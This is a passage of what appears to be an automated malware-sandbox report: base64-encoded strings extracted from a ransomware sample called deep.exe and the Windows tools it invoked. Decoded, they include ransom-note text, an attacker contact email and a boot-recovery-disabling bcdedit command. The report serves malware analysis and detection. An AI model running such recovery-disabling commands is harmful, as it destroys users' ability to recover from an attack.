Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0ZpbmRAQ0hTdHJpbmdAQFFCRUhQQkdAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0ZpbmRPbmVPZkBDSFN0cmluZ0BAUUJFSFBCR0Ba","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0dldEJ1ZmZlckBDSFN0cmluZ0BAUUFFUEFHSEBa","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0dldERhdGFAQ0hTdHJpbmdAQElCRVBBVUNIU3RyaW5nRGF0YUBAWFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0xlZnRAQ0hTdHJpbmdAQFFCRT9BVjFASEBa","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P01pZEBDSFN0cmluZ0BAUUJFP0FWMUBIQFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P1JpZ2h0QENIU3RyaW5nQEBRQkU/QVYxQEhAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QCtbNXk8RltgLkU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QDc6eyNtayE0YzNHeCM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XGcpe1t3fmI5Xy8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEFCQy1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"wbadmin.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEFDQy1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEIxOC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEM4MC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEUzMC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEU1OC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"vssadmin.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFNlc3Npb25zXDFcV2luZG93c1xBcGlQb3J0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFRoZW1lQXBpUG9ydA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XTlka09CeX0wL1w1dmZkUw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XzB0dXRfYXR0dF90eS10dHR0eXR0dHN1X3V0dXRfdHRfdHR0dHR0c3R0X191dHR0dHR0Jy1feXR0eXRfdHR0dCdfdHR0bHR0dF90dHRfX3RfdHl5dHR0dF9fX19fX3V5dF9fdHR1X3V0X3V0dHQneV9fdHV0X3R5bGd0bHRfLXRfdHRnX3RzX3RfX3R0dHUndHRzX3R0X195X3l0dXR0dF90dF9fdHR0dHV0X190dXRfdGx5dS10dWx0dHR0dHRfX3RfdHRfdHR0eXR0X3R0X3R0dHR0Nl90X3R0dHR1dHRfX190eXR0X3V0dHRfX3R0LXV1X3VfdF90dF9fdHRfX3R0dHhfdF90dHR0dF90X3R1eXlfcXR0dF91dF91X3Q4dHR5dHl0dXRfdC0teXR0eV9fX195eXRfdEhfdThfdHR0dHVzdXRfX3lzX3V0dS10dHVfdV90dHR0dHRfdHRfX3R0","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_4.png","compromised":null,"detection_total":null,"total":null},{"value":"X19DeHhGcmFtZUhhbmRsZXIz","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19wX19jb21tb2Rl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X193Z2V0bWFpbmFyZ3M=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X2V4Y2VwdF9oYW5kbGVyNF9jb21tb24=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0ZyZWVUaHJlYWRlZERPTURvY3VtZW50LCBOVUxMLCBDTFNDVFhfSU5QUk9DX1NFUlZFUiwgSUlEX0lYTUxET01Eb2N1bWVudDIsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X1BBVEgiIENMQVNTT1JJR0lOPSJfX1NZU1RFTSIgVFlQRT0ic3RyaW5nIj48VkFMVUU+PCFbQ0RBVEFbJXMgPC9WQUxVRT48L1BST1BFUlRZPg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTQtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTUtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRkcmVzc0ZhbWlseQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QUdHUkVHQVRF","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWxsIHlvdXIgZmlsZXMgaGF2ZSBiZWVuIGVuY3J5cHRlZCBkdWUgdG8gYSBzZWN1cml0eSBwcm9ibGVtIHdpdGggeW91ciBQQy4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"YmNkZWRpdCAgL3NldCB7ZGVmYXVsdH0gYm9vdHN0YXR1c3BvbGljeSBpZ25vcmVhbGxmYWlsdXJlcw==","type":"Ansi","source":"Process Commandline","process":null,"filename":"bcdedit.exe","compromised":null,"detection_total":null,"total":null},{"value":"YmVtXHRvb2xzXHdtaWNcZm9ybWF0ZW5naW5lLmNwcA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmVtQ2xhc3NPYmplY3QtPkdldE9iamVjdFRleHQoMCwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmVtQ2xhc3NPYmplY3Q6OkdldChMIkZvcm1hdHMiLCAwLC0sIDAsIDAp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmVtT2JqZWN0VGV4dFNyYzo6R2V0VGV4dCgwLCAtLCBXTUlfT0JKRUNUX1RFWFRfQ0lNX0RURF8yXzAsIC0sIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Yml0Y29pbnMnLA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Qml0Y29pbnMu","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Qml0Y29pbnM/","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"QnlwYXNzSFRUUE5vQ2FjaGVDaGVjaw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QylcPUB7bkc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q0RBVEFTZWN0aW9uKC0sIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y2VzOjpFeGVjTWV0aG9kKEwiJXMiLCBMIiVzIiwgMCwgTlVMTCwgLSwgLSwgTlVMTCk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y2VzOjpFeGVjUXVlcnkoTCJXUUwiLEwiJXMiLCAwLCBOVUxMLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZQ==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZShDTFNJRF9GcmVlVGhyZWFkZWRET01Eb2N1bWVudCwgTlVMTCwgQ0xTQ1RYX0lOUFJPQ19TRVJWRVIsIElJRF9JWE1MRE9NRG9jdW1lbnQyLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZShDTFNJRF9GcmVlVGhyZWFkZWRET01Eb2N1bWVudCwgTlVMTCwgQ0xTQ1RYX1NFUlZFUixJSURfSVhNTERPTURvY3VtZW50MiwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZShDTFNJRF9GcmVlVGhyZWFkZWRET01Eb2N1bWVudCwgTlVMTCxDTFNDVFhfSU5QUk9DX1NFUlZFUiwgSUlEX0lYTUxET01Eb2N1bWVudDIsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZShDTFNJRF9XYmVtT2JqZWN0VGV4dFNyYywgTlVMTCxDTFNDVFhfSU5QUk9DX1NFUlZFUiwgSUlEX0lXYmVtT2JqZWN0VGV4dFNyYywgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZShDTFNJRF9YU0xUZW1wbGF0ZSwgTlVMTCwgQ0xTQ1RYX1NFUlZFUiwgSUlEX0lYU0xUZW1wbGF0ZSwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZUV4","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZUV4KENMU0lEX1diZW1Db250ZXh0LCBOVUxMLENMU0NUWF9JTlBST0NfU0VSVkVSLCAwLCAxLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29tK0VuYWJsZWQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q09NK0VuYWJsZWQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q09NTUFORExJTkU=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFueU5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZVN0cmluZ1c=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcHV0ZXI=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_4.png","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcHV0ZXJOYW1l","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdGlvbg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdGlvblR5cGU=","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29udGFjdCB1cyB1c2luZyB0aGlzIGVtYWlsIGFkZHJlc3M6IG1yZGVlcEBwcm90b25tYWlsLmNvbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQoLSwgUlBDX0NfQVVUSE5fREVGQVVMVCwgUlBDX0NfQVVUSFpfTk9ORSwgTlVMTCwgJWQsICAgJWQsIC0sIEVPQUNfTk9ORSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQoLSwgUlBDX0NfQVVUSE5fREVGQVVMVCwgUlBDX0NfQVVUSFpfTk9ORSwgTlVMTCwgJWQsICVkLCAtLCBFT0FDX05PTkUp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQoLSwgUlBDX0NfQVVUSE5fREVGQVVMVCwgUlBDX0NfQVVUSFpfTk9ORSxOVUxMLCAlZCwgICAlZCwgLSwgRU9BQ19OT05FKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQoLSwgUlBDX0NfQVVUSE5fREVGQVVMVCxSUENfQ19BVVRIWl9OT05FLCBOVUxMLCAlZCwgICAlZCwgLSwgRU9BQ19OT05FKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q29TZXRQcm94eUJsYW5rZXQoLSwgUlBDX0NfQVVUSE5fR1NTX0tFUkJFUk9TLFJQQ19DX0FVVEhaX05PTkUsICVzLCAlZCwgICAlZCwgLSwgRU9BQ19OT05FKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlQ29udGV4dChyUGFyc2VkSW5mbyk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q1NTX0NvbXBhdA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y3Q6OlB1dChMIiVzIiwgMCwtLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y3VtZW50LCBOVUxMLENMU0NUWF9JTlBST0NfU0VSVkVSLCBJSURfSVhNTERPTURvY3VtZW50MiwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDNkY29tcGlsZXJfNDMuZGxs","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1xjbWRhbGlhcy5jcHA=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1xleGVjZW5naW5lLmNwcA==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1xmb3JtYXRlbmdpbmUuY3Bw","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1xwYXJzZXJlbmdpbmUuY3Bw","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1x3bWljbGl4bWxsb2cuY3Bw","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1x3bWljbWRsbi5jcHA=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZGNvbXBpbGVyXzQzLmRsbA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjcnlwdA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjcnlwdGlvbg==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjcnlwdGlvbi4=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZGVkRE9NRG9jdW1lbnQsIE5VTEwsIENMU0NUWF9TRVJWRVIsSUlEX0lYTUxET01Eb2N1bWVudDIsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZGVlcC5leGU6Wm9uZS5JZGVudGlmaWVy","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVsZWdhdGVFeGVjdXRl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVzY3JpcHRpb24=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"REVTQ1JJUFRJT04+","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RGlyZWN0M0QgSExTTCBDb21waWxlcg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZSBTY3JpcHQgRGVidWdnZXI=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUxvY2FsT3ZlcnJpZGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVBhc3Nwb3J0","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVNjcmlwdERlYnVnZ2VySUU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzcGxheVNjcmlwdERvd25sb2FkRmFpbHVyZVVJ","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RE9NRWxlbWVudDo6Z2V0RWxlbWVudHNCeVRhZ05hbWUoTCJYU0xGT1JNQVQiLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RE9NTm9kZTo6Y2xvbmVOb2RlKC0sLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RE9NU3RvcmFnZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1Njcm9sbERlbGF5","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1Njcm9sbEluc2V0","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1Njcm9sbEludGVydmFs","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZTo6Z2V0X25vZGVWYWx1ZSgtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZTo6cHV0cmVmX3N0eWxlc2hlZXQoLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RUlaVU1IV0xVTE1SSEpKQlRGSE1ZTEhZVVJVQVpQQlVOS1FQR1JSRlBUV0tEUE5ISlREU0VQT0pYWllBSUlGSlhMV05PTUlZV1NBQkpSUk5ZTk1JT1BXSE1SVEVTTlJPV0FKU0VGTk5DRExGVFhVRkFZTk1SWUdBVkJCV0tJUUJJVA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlSHR0cDFfMQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlSHR0cFRyYWNl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RVJST1IgJXMgLSBGQUlMRUQhIGVycm9yIyAlZCAlcyAlcyB0aHJlYWQ6JWQgWyVzLiVkXQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RVJST1IgJXMgLSBGQUlMRUQhIGVycm9yIyAleCAlcyAlcyB0aHJlYWQ6JWQgWyVzLiVkXQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZXJ2aWNlczo6R2V0T2JqZWN0KEwiJXMiLCBXQkVNX0ZMQUdfUkVUVVJOX1dCRU1fQ09NUExFVEV8V0JFTV9GTEFHX1VTRV9BTUVOREVEX1FVQUxJRklFUlMsIDAsIE5VTEwsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZSBNb25pdG9yIC0gU3lzaW50ZXJuYWxzOiB3d3cuc3lzaW50ZXJuYWxzLmNvbQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURlc2NyaXB0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZW1vbkNsYXNz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Rm9yY2UgT2Zmc2NyZWVuIENvbXBvc2l0aW9u","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZnJhbWVkeW5vcy5kbGw=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RnJhbWVNZXJnaW5n","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJhbWVUYWJXaW5kb3c=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZnJlZWFkZHJpbmZv","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RnRwRGVmYXVsdEV4cGlyeVRpbWVTZWNz","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R0JEWUxMTw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X2RvY3VtZW50RWxlbWVudCgtLCBOVUxMKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0YWRkcmluZm8=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29tbWFuZExpbmVX","type":"Ansi","source":"Memory/File 